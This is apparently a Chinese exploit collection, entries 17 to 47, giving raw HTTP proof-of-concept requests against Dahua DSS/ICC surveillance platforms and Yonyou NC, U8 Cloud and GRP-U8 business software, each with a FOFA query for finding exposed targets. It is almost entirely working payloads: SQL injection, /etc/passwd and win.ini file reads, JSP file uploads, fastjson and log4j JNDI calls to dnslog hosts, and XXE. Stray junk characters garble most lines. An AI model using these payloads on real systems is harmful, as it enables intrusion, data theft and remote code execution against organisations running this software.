GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
8 w" b; O7 G7 K7 z" V5 hHost: x.x.x.x
3 n+ a% [! Z) WUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
, @# v8 U! `7 c. a( WConnection: close
Accept: */*
Accept-Language: en
3 k2 ?1 I  X6 H$ S' O+ i% Z% EAccept-Encoding: gzip


1 u; a+ z( G' r8 Q& D17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
7 q  H  Q4 k+ ^: A1 z. \POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
3 W- k! C% ~2 m' U3 f* \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* H4 N" d+ w) u) F5 d$ J5 VConnection: close
7 G5 w1 |+ R5 M1 JContent-Length: 345
Accept-Encoding: gzip
7 c4 E) @# U* r. z
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
0 s3 Y$ U( P5 i2 K8 E& E<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
1 g2 k( o5 F2 N5 o* W2 z, E      <netMarkings>
& J) K! Y- R7 U" F       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
9 X% e1 |) e4 F% g4 p# _Host: your-ip
" `* f; v3 K" }* W( @- P" `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
& l& Z4 J7 o* s$ RAccept: */*
Connection: keep-alive



19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
3 J6 H" [4 H2 U7 GFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
- N/ N) f1 b- H9 [, ~  a* g" N3 wAccept-Encoding: gzip, deflate
. S9 [; C5 ]. u% ~  q2 f7 qAccept: */*
1 ?8 J$ q- u( \! i! Y  }Connection: keep-alive


$ f8 n6 |1 G; ^: f# |20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
5 m$ E- _+ J; }1 j4 [4 TGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
/ Y5 H% J9 ~/ _/ j8 ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& U; |% R4 O! O) f' qConnection: close
7 T- n& g! W6 H* ZAccept: */*
Accept-Language: en
Accept-Encoding: gzip
+ f/ B# n' ?1 i( B- o

21. 大华ICC智能物联综合管理平台random远程代码执行
/ A5 |( x# i, N4 U4 q# H) D' [FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
" e+ I$ j, e" Z9 A" MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' V& e) @3 F" V9 r% j6 i& H; {6 rContent-Length: 161
6 z, q& L9 k0 \6 l+ p; H6 ~Accept-Encoding: gzip
  f, S. S  Y( |! p& LConnection: close
6 x1 P# h% R/ A" y& LContent-Type: application/json;charset=utf-8
9 g' u; A8 _4 T7 s$ s8 Y- I
{
"a":{
8 N6 ~9 f- ?. ]+ A  A   "@type":"com.alibaba.fastjson.JSONObject",
+ C, N, t3 Z8 u2 g# W. O, z2 p    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
1 v8 A3 I3 u2 g3 @7 O: ^& w  }""
5 \8 |' N( V& ?% O}
( A9 `2 g4 C2 s# k9 }

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
, ?6 E5 Q) B! r' [" K% kPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
  \' G8 ]/ [: g0 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 Y# q2 {  M* g7 ^: a7 y( NContent-Type: application/json;charset=utf-8
! c% [9 Q$ _& Z* ]; @
{
"loginName":"${jndi:ldap://dnslog}"
}
1 n0 T+ X7 G) S6 o. f/ k  Y


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
; o; Y: K/ z+ W% g# VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% }6 [' x( ]4 q$ ^1 \' IContent-Type: application/json;charset=utf-8
) a% t- l+ T( \" f9 iAccept-Encoding: gzip
: D' a' Q0 y. A1 g$ [4 }Connection: close
. M4 g- X/ a: e6 l
{
+ z  {- s0 k( d* P$ z5 h1 t    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
- l& E0 j; i+ u4 @$ T8 v* |! p       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}


) c2 I7 C, o) z! l24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
* m  Z4 r' b" A0 r2 r# U5 KPOST /aim/equipmap/accept.jsp HTTP/1.1
* R6 |# N7 b. C6 DHost: x.x.x.x
3 m1 J3 S. ~' j% z+ G! d( AUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
! e: ?1 r7 _, r, }5 h1 K4 PAccept: */*
7 F3 e  |4 U& Z" E8 HAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
2 p, g3 {: p. g8 W7 U8 d
* V8 ~- a/ s4 h9 g-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
: c/ Y9 y# h. \! N6 `; ?Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
- d' v  Y$ K% j+ g6 TContent-Type: text/plain
" c. B7 M) M: f$ D
+ F# G% a, {" S! I<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
9 N; {( x0 ~$ D3 l' a+ L- l2 ^8 l-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
+ b' i% j2 C+ B! k. \
3 U' ?& ?5 S+ }3 l: y+ d5 b2 X\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
! P- o$ y: k# ~' i3 |/ n-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

) b: O( t( {( B' J" a; g: k. A
, G' h: i( l9 y25. 用友NC registerServlet JNDI 远程代码执行
) v0 f& I8 m& I6 W4 m; |+ kFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
+ n6 M& S8 F6 q! N9 H2 o8 S. DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
2 @8 k; p: f$ m: s4 R

" I1 w7 B; R  ?: K; _4 S2 X0 a
: @$ g& y1 z& H, N( F26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 f  U  K# q9 W: g" b7 j9 sHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 F, R8 h2 I0 [# l" GContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
, v, C' e' l- X# y4 uAccept: */*
  |6 C  S/ h2 tConnection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
" }* t/ B7 y: kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; {. H( [6 l& o, R& G& kAccept-Encoding: identity
( W- d$ s6 ?3 Y3 h9 ^Connection: close
: Y5 T! v  V* TContent-Type: text/xml; charset=utf-8
4 _5 Z# r. A) A9 C% `7 S

28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
- D0 x8 c1 Z( h( C& S" Q# iPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
6 G( ~" L2 Q4 h5 c9 X; h0 mHost: x.x.x.x
4 R1 X4 Z5 ~& q& z7 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
5 u" r. W/ w" [' C% H; n: OAccept-Encoding: gzip
3 H6 X3 |$ ~( F8 }3 l9 O
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
5 A0 X2 O( }3 z4 A) sContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
. C3 [3 [# t$ l! F8 L$ Q: l) cContent-Type: application/octet-stream

$ \2 X6 h9 k! n) }' N. l<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


+ u8 j6 f& P8 x; @$ |/uapim/static/pages/nc/head.jsp
- V: w& O8 m$ |
29. 用友NC down/bill SQL注入
" F, L$ t/ m' LFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' U0 q4 m) ^6 C& ]$ R# KGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
: n8 N6 G, k! `9 a& WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 I. s; R( @0 S  h5 c9 tAccept-Encoding: gzip, deflate
' T; V. K% k, R) {% o9 U% lAccept: */*
Connection: keep-alive

+ H- b) P- x' f
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
( j+ h9 X9 j/ W/ T& e, g" vContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
0 T! L! ]( ~3 w' L4 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
0 k6 Q' _. K: Q3 J; H, P+ B+ OConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
2 P; g* l9 y  x6 a. g4 L8 U
. I' e4 ]0 J& o! d# P5 O
31. 用友NC runStateServlet SQL注入
. }1 W+ q8 ?7 b) I4 Qversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. Z" i0 t- \4 x! p1 `0 N, a$ w/ Y; T* @Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 ~6 Y) @4 u$ U5 ?

32. 用友NC complainbilldetail SQL注入
% ?; _7 q% Q4 C, B& T$ O/ dversion= NC633、NC65
/ ^; j) B2 I1 d  L1 R$ h+ qFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, e# f9 n# z+ `% y$ ~# QHost: your-ip
' c! q! y: b, jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
9 a+ c$ \4 u! JAccept: */*
# y" n. t: M( r% X: \  \Connection: keep-alive
9 T8 O; Q+ a3 |5 l3 D# B2 T& D

33. 用友NC downTax/download SQL注入
- d, W$ S# o5 u6 u  H% R, Bversion：NC6.5FOFA：app="用友-UFIDA-NC"
& V) d/ H1 t: [: AGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ T0 W% Q. C8 g5 Q" _Content-Type: application/x-www-form-urlencoded
* y8 T, k7 K. {Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


! Z2 S( W+ ~: V+ H$ i( F' G34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
/ f9 E3 @. n3 m- Q9 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ O3 p% S' P" L- K7 v. S; rContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
1 `- [+ u0 j, }0 ]* x  [5 r( f. IConnection: keep-alive

. r/ S' F1 ?! b9 X2 I% c
9 _, j$ i! s9 X8 S35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
3 {/ a* D) _; l3 i, NPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
1 m7 Q4 f4 F3 D0 }7 p* Y+ sAccept-Encoding: gzip, deflate
, h) o" d! p1 L$ f; o" T( \Accept: */*
: g* \. P: f* f* H. A8 rConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
+ H6 ^4 \- y8 i+ jContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

3 `2 W2 s* y* p! n--fd28cb44e829ed1c197ec3bc71748df0
) F1 @9 A! e' c+ X& F1 j: c+ SContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
& U6 ~* k) I/ t" c5 t1 d% w
4 \# [- Z& L5 L3 F<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
' n* J# s4 D8 m
3 O# p  g# ]; Z9 @
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
" I: g! E* F2 z! GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
5 A* q5 r, j' {5 cContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 L* i- g; O* B& k3 G- @Accept-Encoding: gzip, deflate
0 }& D4 Q) [+ N" I0 F( ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

- l5 I% P' K, i: |5 T* x1 cmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
6 R7 W" t  j( I# P. t: p
6 Q9 H5 j& q5 p0 ?2 M# @
37. 用友NC-Cloud IUpdateService XXE
' ?: P% U$ k4 l/ [: OFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
6 k1 g- i1 C8 q6 J7 \# T- P8 mContent-Length: 421
# [- [/ R7 J: kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
: `# q: Y* @, A3 U4 E, w1 g$ o; v- s2 eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 ~$ O0 B2 A; _; b' P/ TConnection: close
2 N  I# Y: Y4 z! RContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
* n2 n/ G! z) U% p7 Y<soapenv:Body>
% Q( R. w, |$ B5 c2 ]! k7 O<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
" j+ T+ B% }, d<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
6 F+ p/ n* Q: |" q) H1 U1 ]</soapenv:Body>
</soapenv:Envelope>


; d9 F% U+ S, Z
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
# k* V9 _, e+ e9 ^- e: L5 B9 g$ aPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
" Y& a% R) k; gHost: 192.168.40.131:8088
8 d0 b; Z9 i8 Z, V; g, eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
. Q7 }( L- X. B. a6 |$ I. J; _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
6 G2 e  w9 r4 D: ?1 H9 XAccept-Encoding: gzip, deflate
+ n  q9 f6 ]* N/ u% {3 W6 yAccept-Language: zh-CN,zh;q=0.9
Connection: close
; N. x, V5 |4 s0 d" t  v. b2 LContent-Type: application/x-www-form-urlencoded
7 `& k. r; s, Y9 {% J  N2 z: p
. a1 d6 I. q0 R4 Z+ r__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
7 z" |  M9 f2 I5 U, R3 l* i! G

. E2 E: i$ E8 ?4 u9 I0 k39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
2 l7 d5 `. f. g- ^' OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
& ~) U$ l2 ^7 U& `( }Connection: close
Content-Length: 85
Accept: */*
8 v6 w+ t: X0 q9 s# b& U2 s/ ^Accept-Language: en
6 E0 _4 _6 m) uContent-Type: application/x-www-form-urlencoded
# w5 \+ A1 f1 _- B; d- D' NX-Forwarded-For: 127.0.0.1
& x2 |, D% e1 E9 T) o! P, p2 C& }Accept-Encoding: gzip

% w) n& P: v1 q9 L# X" Nusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
$ v! T/ `7 V7 n4 j' D
, |2 r  ?$ m2 m2 u, M  u7 t
7 c; X. n- s3 y40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 G$ u5 f7 E  M6 JContent-Type: text/xml
Connection: close
: P/ o8 o& A; o
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

! T8 ~9 D3 i% ]
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
0 i$ p( v7 F$ ?9 G6 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 h* h2 M* V& X; fContent-Type: application/json
/ E& u' A; f5 o1 \% Y7 }Accept-Encoding: gzip
9 R( E9 X9 m1 M* r1 kConnection: close
& h3 d1 h! q! i
2 {$ q1 U2 j( M1 R) |
- ~6 e3 x+ h" D, W# a0 D7 |. N42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
! ~) x0 b- n) U& x8 @% G  |POST /u8qx/SmartUpload01.jsp HTTP/1.1
2 d; C0 t/ O$ O; rHost: x.x.x.x
/ S% Y) ]$ p! {! {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
4 g# n/ _) Y  TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


. ~- |% x! o6 `  e- c( Uhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
/ F5 j7 S3 _) n4 [POST /services/userInfoWeb HTTP/1.1
" H3 K4 _; }+ ?6 f" WHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ E! ~3 g, a& Q# DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: a( x+ d6 n& M. \* a* nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& u: ?& {% F0 [: M+ F3 OSOAPAction:
* m4 u; ?+ K) Z5 @: y4 x- w' eContent-Type: text/xml;charset=UTF-8

8 b) s7 {3 [. i6 `; q<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
0 M7 [1 _- c6 S* U   <soapenv:Body>
, B3 `8 c# H$ H+ N$ F6 R# L      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
: K$ [" @* k; K7 u& Y/ E0 Z+ e3 a   </soapenv:Body>
</soapenv:Envelope>

, p  W0 ]/ r$ j) E8 H
- H5 x! U* `$ ^6 y% d) g; R44. 用友GRP-U8 bx_dj_check.jsp SQL注入
. S3 t4 K7 z1 X6 q( hFOFA:app="用友-GRP-U8"
: |4 [6 a; c( d' ^5 DGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
2 X. b/ ^/ B0 c6 p0 ]0 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% B: a! c5 I+ Y6 }/ I. ^% cConnection: close
2 d! t9 t; y; N* z, L

. u* }4 l1 K% \, Z5 n+ V3 D, r  m45. 用友GRP-U8 ufgovbank XXE
( O, I5 A! s. ?0 t- ]- nFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
& [, {9 A( p& A5 [Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
2 P+ n: G  C% d( A+ ?0 ~$ V6 NContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* w6 N* }; v. y5 `( IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 z6 E: u$ `5 s) BContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
5 B$ k2 |% L! }$ M  D& T, M8 U
reqData=<?xml version="1.0"?>
- Z2 i) U/ y- J* t- ]<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
4 f' M: M: ?+ L6 tGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( p! }. C1 c" ~+ L# N1 ~# I2 \; [" bAccept-Language: zh-CN,zh;q=0.9
Connection: close
9 H; d# U- x( w. D
! U. L, I! ]$ [2 }+ M& L# W
9 L  [3 L# A' Q; |2 y+ F8 x/ w( e47. 用友GRP A++Cloud 政府财务云 任意文件读取
0 R# L/ C8 X6 ]' h3 C3 YFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
) y. E' \4 b+ X7 K/ d1 ]6 C+ `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
